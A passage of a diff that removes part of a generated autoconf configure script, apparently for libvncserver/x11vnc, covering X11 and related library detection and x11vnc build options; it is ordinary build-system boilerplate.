- HAVE_LIBSSL_TRUE='#'
- HAVE_LIBSSL_FALSE=
-fi
-
-
-# Checks for X libraries
-HAVE_X11="false"
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for X" >&5
-$as_echo_n "checking for X... " >&6; }
-
-
-@%:@ Check whether --with-x was given.
-if test "${with_x+set}" = set; then :
- withval=$with_x;
-fi
-
-# $have_x is `yes', `no', `disabled', or empty when we do not yet know.
-if test "x$with_x" = xno; then
- # The user explicitly disabled X.
- have_x=disabled
-else
- case $x_includes,$x_libraries in #(
- *\'*) as_fn_error $? "cannot use X directory names containing '" "$LINENO" 5;; #(
- *,NONE | NONE,*) if ${ac_cv_have_x+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- # One or both of the vars are not set, and there is no cached value.
-ac_x_includes=no ac_x_libraries=no
-rm -f -r conftest.dir
-if mkdir conftest.dir; then
- cd conftest.dir
- cat >Imakefile <<'_ACEOF'
-incroot:
- @echo incroot='${INCROOT}'
-usrlibdir:
- @echo usrlibdir='${USRLIBDIR}'
-libdir:
- @echo libdir='${LIBDIR}'
-_ACEOF
- if (export CC; ${XMKMF-xmkmf}) >/dev/null 2>/dev/null && test -f Makefile; then
- # GNU make sometimes prints "make[1]: Entering ...", which would confuse us.
- for ac_var in incroot usrlibdir libdir; do
- eval "ac_im_$ac_var=\`\${MAKE-make} $ac_var 2>/dev/null | sed -n 's/^$ac_var=//p'\`"
- done
- # Open Windows xmkmf reportedly sets LIBDIR instead of USRLIBDIR.
- for ac_extension in a so sl dylib la dll; do
- if test ! -f "$ac_im_usrlibdir/libX11.$ac_extension" &&
- test -f "$ac_im_libdir/libX11.$ac_extension"; then
- ac_im_usrlibdir=$ac_im_libdir; break
- fi
- done
- # Screen out bogus values from the imake configuration. They are
- # bogus both because they are the default anyway, and because
- # using them would break gcc on systems where it needs fixed includes.
- case $ac_im_incroot in
- /usr/include) ac_x_includes= ;;
- *) test -f "$ac_im_incroot/X11/Xos.h" && ac_x_includes=$ac_im_incroot;;
- esac
- case $ac_im_usrlibdir in
- /usr/lib | /usr/lib64 | /lib | /lib64) ;;
- *) test -d "$ac_im_usrlibdir" && ac_x_libraries=$ac_im_usrlibdir ;;
- esac
- fi
- cd ..
- rm -f -r conftest.dir
-fi
-
-# Standard set of common directories for X headers.
-# Check X11 before X11Rn because it is often a symlink to the current release.
-ac_x_header_dirs='
-/usr/X11/include
-/usr/X11R7/include
-/usr/X11R6/include
-/usr/X11R5/include
-/usr/X11R4/include
-
-/usr/include/X11
-/usr/include/X11R7
-/usr/include/X11R6
-/usr/include/X11R5
-/usr/include/X11R4
-
-/usr/local/X11/include
-/usr/local/X11R7/include
-/usr/local/X11R6/include
-/usr/local/X11R5/include
-/usr/local/X11R4/include
-
-/usr/local/include/X11
-/usr/local/include/X11R7
-/usr/local/include/X11R6
-/usr/local/include/X11R5
-/usr/local/include/X11R4
-
-/usr/X386/include
-/usr/x386/include
-/usr/XFree86/include/X11
-
-/usr/include
-/usr/local/include
-/usr/unsupported/include
-/usr/athena/include
-/usr/local/x11r5/include
-/usr/lpp/Xamples/include
-
-/usr/openwin/include
-/usr/openwin/share/include'
-
-if test "$ac_x_includes" = no; then
- # Guess where to find include files, by looking for Xlib.h.
- # First, try using that file with no special directory specified.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-@%:@include <X11/Xlib.h>
-_ACEOF
-if ac_fn_c_try_cpp "$LINENO"; then :
- # We can compile using X headers with no special include directory.
-ac_x_includes=
-else
- for ac_dir in $ac_x_header_dirs; do
- if test -r "$ac_dir/X11/Xlib.h"; then
- ac_x_includes=$ac_dir
- break
- fi
-done
-fi
-rm -f conftest.err conftest.i conftest.$ac_ext
-fi # $ac_x_includes = no
-
-if test "$ac_x_libraries" = no; then
- # Check for the libraries.
- # See if we find them without any special options.
- # Don't add to $LIBS permanently.
- ac_save_LIBS=$LIBS
- LIBS="-lX11 $LIBS"
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-@%:@include <X11/Xlib.h>
-int
-main ()
-{
-XrmInitialize ()
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- LIBS=$ac_save_LIBS
-# We can link X programs with no special library path.
-ac_x_libraries=
-else
- LIBS=$ac_save_LIBS
-for ac_dir in `$as_echo "$ac_x_includes $ac_x_header_dirs" | sed s/include/lib/g`
-do
- # Don't even attempt the hair of trying to link an X program!
- for ac_extension in a so sl dylib la dll; do
- if test -r "$ac_dir/libX11.$ac_extension"; then
- ac_x_libraries=$ac_dir
- break 2
- fi
- done
-done
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-fi # $ac_x_libraries = no
-
-case $ac_x_includes,$ac_x_libraries in #(
- no,* | *,no | *\'*)
- # Didn't find X, or a directory has "'" in its name.
- ac_cv_have_x="have_x=no";; #(
- *)
- # Record where we found X for the cache.
- ac_cv_have_x="have_x=yes\
- ac_x_includes='$ac_x_includes'\
- ac_x_libraries='$ac_x_libraries'"
-esac
-fi
-;; #(
- *) have_x=yes;;
- esac
- eval "$ac_cv_have_x"
-fi # $with_x != no
-
-if test "$have_x" != yes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $have_x" >&5
-$as_echo "$have_x" >&6; }
- no_x=yes
-else
- # If each of the values was on the command line, it overrides each guess.
- test "x$x_includes" = xNONE && x_includes=$ac_x_includes
- test "x$x_libraries" = xNONE && x_libraries=$ac_x_libraries
- # Update the cache value to reflect the command line values.
- ac_cv_have_x="have_x=yes\
- ac_x_includes='$x_includes'\
- ac_x_libraries='$x_libraries'"
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: libraries $x_libraries, headers $x_includes" >&5
-$as_echo "libraries $x_libraries, headers $x_includes" >&6; }
-fi
-
-if test "$no_x" = yes; then
- # Not all programs may use this symbol, but it does not hurt to define it.
-
-$as_echo "@%:@define X_DISPLAY_MISSING 1" >>confdefs.h
-
- X_CFLAGS= X_PRE_LIBS= X_LIBS= X_EXTRA_LIBS=
-else
- if test -n "$x_includes"; then
- X_CFLAGS="$X_CFLAGS -I$x_includes"
- fi
-
- # It would also be nice to do this for all -L options, not just this one.
- if test -n "$x_libraries"; then
- X_LIBS="$X_LIBS -L$x_libraries"
- # For Solaris; some versions of Sun CC require a space after -R and
- # others require no space. Words are not sufficient . . . .
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -R must be followed by a space" >&5
-$as_echo_n "checking whether -R must be followed by a space... " >&6; }
- ac_xsave_LIBS=$LIBS; LIBS="$LIBS -R$x_libraries"
- ac_xsave_c_werror_flag=$ac_c_werror_flag
- ac_c_werror_flag=yes
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- X_LIBS="$X_LIBS -R$x_libraries"
-else
- LIBS="$ac_xsave_LIBS -R $x_libraries"
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
- X_LIBS="$X_LIBS -R $x_libraries"
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: neither works" >&5
-$as_echo "neither works" >&6; }
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- ac_c_werror_flag=$ac_xsave_c_werror_flag
- LIBS=$ac_xsave_LIBS
- fi
-
- # Check for system-dependent libraries X programs must link with.
- # Do this before checking for the system-independent R6 libraries
- # (-lICE), since we may need -lsocket or whatever for X linking.
-
- if test "$ISC" = yes; then
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lnsl_s -linet"
- else
- # Martyn Johnson says this is needed for Ultrix, if the X
- # libraries were built with DECnet support. And Karl Berry says
- # the Alpha needs dnet_stub (dnet does not exist).
- ac_xsave_LIBS="$LIBS"; LIBS="$LIBS $X_LIBS -lX11"
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XOpenDisplay ();
-int
-main ()
-{
-return XOpenDisplay ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dnet_ntoa in -ldnet" >&5
-$as_echo_n "checking for dnet_ntoa in -ldnet... " >&6; }
-if ${ac_cv_lib_dnet_dnet_ntoa+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldnet $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dnet_ntoa ();
-int
-main ()
-{
-return dnet_ntoa ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dnet_dnet_ntoa=yes
-else
- ac_cv_lib_dnet_dnet_ntoa=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dnet_dnet_ntoa" >&5
-$as_echo "$ac_cv_lib_dnet_dnet_ntoa" >&6; }
-if test "x$ac_cv_lib_dnet_dnet_ntoa" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -ldnet"
-fi
-
- if test $ac_cv_lib_dnet_dnet_ntoa = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dnet_ntoa in -ldnet_stub" >&5
-$as_echo_n "checking for dnet_ntoa in -ldnet_stub... " >&6; }
-if ${ac_cv_lib_dnet_stub_dnet_ntoa+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldnet_stub $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dnet_ntoa ();
-int
-main ()
-{
-return dnet_ntoa ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dnet_stub_dnet_ntoa=yes
-else
- ac_cv_lib_dnet_stub_dnet_ntoa=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dnet_stub_dnet_ntoa" >&5
-$as_echo "$ac_cv_lib_dnet_stub_dnet_ntoa" >&6; }
-if test "x$ac_cv_lib_dnet_stub_dnet_ntoa" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -ldnet_stub"
-fi
-
- fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- LIBS="$ac_xsave_LIBS"
-
- # msh@cis.ufl.edu says -lnsl (and -lsocket) are needed for his 386/AT,
- # to get the SysV transport functions.
- # Chad R. Larson says the Pyramis MIS-ES running DC/OSx (SVR4)
- # needs -lnsl.
- # The nsl library prevents programs from opening the X display
- # on Irix 5.2, according to T.E. Dickey.
- # The functions gethostbyname, getservbyname, and inet_addr are
- # in -lbsd on LynxOS 3.0.1/i386, according to Lars Hecking.
- ac_fn_c_check_func "$LINENO" "gethostbyname" "ac_cv_func_gethostbyname"
-if test "x$ac_cv_func_gethostbyname" = xyes; then :
-
-fi
-
- if test $ac_cv_func_gethostbyname = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for gethostbyname in -lnsl" >&5
-$as_echo_n "checking for gethostbyname in -lnsl... " >&6; }
-if ${ac_cv_lib_nsl_gethostbyname+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lnsl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char gethostbyname ();
-int
-main ()
-{
-return gethostbyname ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_nsl_gethostbyname=yes
-else
- ac_cv_lib_nsl_gethostbyname=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_nsl_gethostbyname" >&5
-$as_echo "$ac_cv_lib_nsl_gethostbyname" >&6; }
-if test "x$ac_cv_lib_nsl_gethostbyname" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lnsl"
-fi
-
- if test $ac_cv_lib_nsl_gethostbyname = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for gethostbyname in -lbsd" >&5
-$as_echo_n "checking for gethostbyname in -lbsd... " >&6; }
-if ${ac_cv_lib_bsd_gethostbyname+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lbsd $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char gethostbyname ();
-int
-main ()
-{
-return gethostbyname ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_bsd_gethostbyname=yes
-else
- ac_cv_lib_bsd_gethostbyname=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_bsd_gethostbyname" >&5
-$as_echo "$ac_cv_lib_bsd_gethostbyname" >&6; }
-if test "x$ac_cv_lib_bsd_gethostbyname" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lbsd"
-fi
-
- fi
- fi
-
- # lieder@skyler.mavd.honeywell.com says without -lsocket,
- # socket/setsockopt and other routines are undefined under SCO ODT
- # 2.0. But -lsocket is broken on IRIX 5.2 (and is not necessary
- # on later versions), says Simon Leinen: it contains gethostby*
- # variants that don't use the name server (or something). -lsocket
- # must be given before -lnsl if both are needed. We assume that
- # if connect needs -lnsl, so does gethostbyname.
- ac_fn_c_check_func "$LINENO" "connect" "ac_cv_func_connect"
-if test "x$ac_cv_func_connect" = xyes; then :
-
-fi
-
- if test $ac_cv_func_connect = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for connect in -lsocket" >&5
-$as_echo_n "checking for connect in -lsocket... " >&6; }
-if ${ac_cv_lib_socket_connect+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lsocket $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char connect ();
-int
-main ()
-{
-return connect ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_socket_connect=yes
-else
- ac_cv_lib_socket_connect=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_socket_connect" >&5
-$as_echo "$ac_cv_lib_socket_connect" >&6; }
-if test "x$ac_cv_lib_socket_connect" = xyes; then :
- X_EXTRA_LIBS="-lsocket $X_EXTRA_LIBS"
-fi
-
- fi
-
- # Guillermo Gomez says -lposix is necessary on A/UX.
- ac_fn_c_check_func "$LINENO" "remove" "ac_cv_func_remove"
-if test "x$ac_cv_func_remove" = xyes; then :
-
-fi
-
- if test $ac_cv_func_remove = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for remove in -lposix" >&5
-$as_echo_n "checking for remove in -lposix... " >&6; }
-if ${ac_cv_lib_posix_remove+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lposix $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char remove ();
-int
-main ()
-{
-return remove ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_posix_remove=yes
-else
- ac_cv_lib_posix_remove=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_posix_remove" >&5
-$as_echo "$ac_cv_lib_posix_remove" >&6; }
-if test "x$ac_cv_lib_posix_remove" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lposix"
-fi
-
- fi
-
- # BSDI BSD/OS 2.1 needs -lipc for XOpenDisplay.
- ac_fn_c_check_func "$LINENO" "shmat" "ac_cv_func_shmat"
-if test "x$ac_cv_func_shmat" = xyes; then :
-
-fi
-
- if test $ac_cv_func_shmat = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for shmat in -lipc" >&5
-$as_echo_n "checking for shmat in -lipc... " >&6; }
-if ${ac_cv_lib_ipc_shmat+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lipc $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char shmat ();
-int
-main ()
-{
-return shmat ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_ipc_shmat=yes
-else
- ac_cv_lib_ipc_shmat=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_ipc_shmat" >&5
-$as_echo "$ac_cv_lib_ipc_shmat" >&6; }
-if test "x$ac_cv_lib_ipc_shmat" = xyes; then :
- X_EXTRA_LIBS="$X_EXTRA_LIBS -lipc"
-fi
-
- fi
- fi
-
- # Check for libraries that X11R6 Xt/Xaw programs need.
- ac_save_LDFLAGS=$LDFLAGS
- test -n "$x_libraries" && LDFLAGS="$LDFLAGS -L$x_libraries"
- # SM needs ICE to (dynamically) link under SunOS 4.x (so we have to
- # check for ICE first), but we must link in the order -lSM -lICE or
- # we get undefined symbols. So assume we have SM if we have ICE.
- # These have to be linked with before -lX11, unlike the other
- # libraries we check for below, so use a different variable.
- # John Interrante, Karl Berry
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for IceConnectionNumber in -lICE" >&5
-$as_echo_n "checking for IceConnectionNumber in -lICE... " >&6; }
-if ${ac_cv_lib_ICE_IceConnectionNumber+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lICE $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char IceConnectionNumber ();
-int
-main ()
-{
-return IceConnectionNumber ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_ICE_IceConnectionNumber=yes
-else
- ac_cv_lib_ICE_IceConnectionNumber=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_ICE_IceConnectionNumber" >&5
-$as_echo "$ac_cv_lib_ICE_IceConnectionNumber" >&6; }
-if test "x$ac_cv_lib_ICE_IceConnectionNumber" = xyes; then :
- X_PRE_LIBS="$X_PRE_LIBS -lSM -lICE"
-fi
-
- LDFLAGS=$ac_save_LDFLAGS
-
-fi
-
-
-
-# See if we are to build x11vnc:
-
-
-@%:@ Check whether --with-system-libvncserver was given.
-if test "${with_system_libvncserver+set}" = set; then :
- withval=$with_system_libvncserver;
-fi
-
-
-@%:@ Check whether --with-x11vnc was given.
-if test "${with_x11vnc+set}" = set; then :
- withval=$with_x11vnc;
-fi
-
-
-if test ! -z "$with_x11vnc" -a "$with_x11vnc" = "yes"; then
- build_x11vnc="yes"
-elif test "$PACKAGE_NAME" = "x11vnc"; then
- build_x11vnc="yes"
-else
- build_x11vnc="no"
-fi
-
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-@%:@ Check whether --with-xkeyboard was given.
-if test "${with_xkeyboard+set}" = set; then :
- withval=$with_xkeyboard;
-fi
-
-
-@%:@ Check whether --with-xinerama was given.
-if test "${with_xinerama+set}" = set; then :
- withval=$with_xinerama;
-fi
-
-
-@%:@ Check whether --with-xrandr was given.
-if test "${with_xrandr+set}" = set; then :
- withval=$with_xrandr;
-fi
-
-
-@%:@ Check whether --with-xfixes was given.
-if test "${with_xfixes+set}" = set; then :
- withval=$with_xfixes;
-fi
-
-
-@%:@ Check whether --with-xdamage was given.
-if test "${with_xdamage+set}" = set; then :
- withval=$with_xdamage;
-fi
-
-
-@%:@ Check whether --with-xtrap was given.
-if test "${with_xtrap+set}" = set; then :
- withval=$with_xtrap;
-fi
-
-
-@%:@ Check whether --with-xrecord was given.
-if test "${with_xrecord+set}" = set; then :
- withval=$with_xrecord;
-fi
-
-
-@%:@ Check whether --with-fbpm was given.
-if test "${with_fbpm+set}" = set; then :
- withval=$with_fbpm;
-fi
-
-
-@%:@ Check whether --with-dpms was given.
-if test "${with_dpms+set}" = set; then :
- withval=$with_dpms;
-fi
-
-
-@%:@ Check whether --with-v4l was given.
-if test "${with_v4l+set}" = set; then :
- withval=$with_v4l;
-fi
-
-
-@%:@ Check whether --with-fbdev was given.
-if test "${with_fbdev+set}" = set; then :
- withval=$with_fbdev;
-fi
-
-
-@%:@ Check whether --with-uinput was given.
-if test "${with_uinput+set}" = set; then :
- withval=$with_uinput;
-fi
-
-
-@%:@ Check whether --with-macosx-native was given.
-if test "${with_macosx_native+set}" = set; then :
- withval=$with_macosx_native;
-fi
-
-
-fi
-# end x11vnc only.
-
-if test "x$with_x" = "xno"; then
- HAVE_X11="false"
-elif test "$X_CFLAGS" != "-DX_DISPLAY_MISSING"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XGetImage in -lX11" >&5
-$as_echo_n "checking for XGetImage in -lX11... " >&6; }
-if ${ac_cv_lib_X11_XGetImage+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lX11 $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XGetImage ();
-int
-main ()
-{
-return XGetImage ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_X11_XGetImage=yes
-else
- ac_cv_lib_X11_XGetImage=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_X11_XGetImage" >&5
-$as_echo "$ac_cv_lib_X11_XGetImage" >&6; }
-if test "x$ac_cv_lib_X11_XGetImage" = xyes; then :
- $as_echo "@%:@define HAVE_X11 1" >>confdefs.h
- HAVE_X11="true"
-else
- HAVE_X11="false"
-fi
-
-
- # x11vnc only:
- if test $HAVE_X11 = "true" -a "$build_x11vnc" = "yes"; then
- X_PRELIBS="$X_PRELIBS -lXext"
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XShmGetImage in -lXext" >&5
-$as_echo_n "checking for XShmGetImage in -lXext... " >&6; }
-if ${ac_cv_lib_Xext_XShmGetImage+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXext $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XShmGetImage ();
-int
-main ()
-{
-return XShmGetImage ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xext_XShmGetImage=yes
-else
- ac_cv_lib_Xext_XShmGetImage=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xext_XShmGetImage" >&5
-$as_echo "$ac_cv_lib_Xext_XShmGetImage" >&6; }
-if test "x$ac_cv_lib_Xext_XShmGetImage" = xyes; then :
- $as_echo "@%:@define HAVE_XSHM 1" >>confdefs.h
-
-fi
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XReadScreen in -lXext" >&5
-$as_echo_n "checking for XReadScreen in -lXext... " >&6; }
-if ${ac_cv_lib_Xext_XReadScreen+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXext $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XReadScreen ();
-int
-main ()
-{
-return XReadScreen ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xext_XReadScreen=yes
-else
- ac_cv_lib_Xext_XReadScreen=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xext_XReadScreen" >&5
-$as_echo "$ac_cv_lib_Xext_XReadScreen" >&6; }
-if test "x$ac_cv_lib_Xext_XReadScreen" = xyes; then :
- $as_echo "@%:@define HAVE_SOLARIS_XREADSCREEN 1" >>confdefs.h
-
-fi
-
-
- ac_fn_c_check_header_compile "$LINENO" "X11/extensions/readdisplay.h" "ac_cv_header_X11_extensions_readdisplay_h" "#include <X11/Xlib.h>
-"
-if test "x$ac_cv_header_X11_extensions_readdisplay_h" = xyes; then :
- $as_echo "@%:@define HAVE_IRIX_XREADDISPLAY 1" >>confdefs.h
-
-fi
-
-
-
- if test "x$with_fbpm" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for FBPMForceLevel in -lXext" >&5
-$as_echo_n "checking for FBPMForceLevel in -lXext... " >&6; }
-if ${ac_cv_lib_Xext_FBPMForceLevel+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXext $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
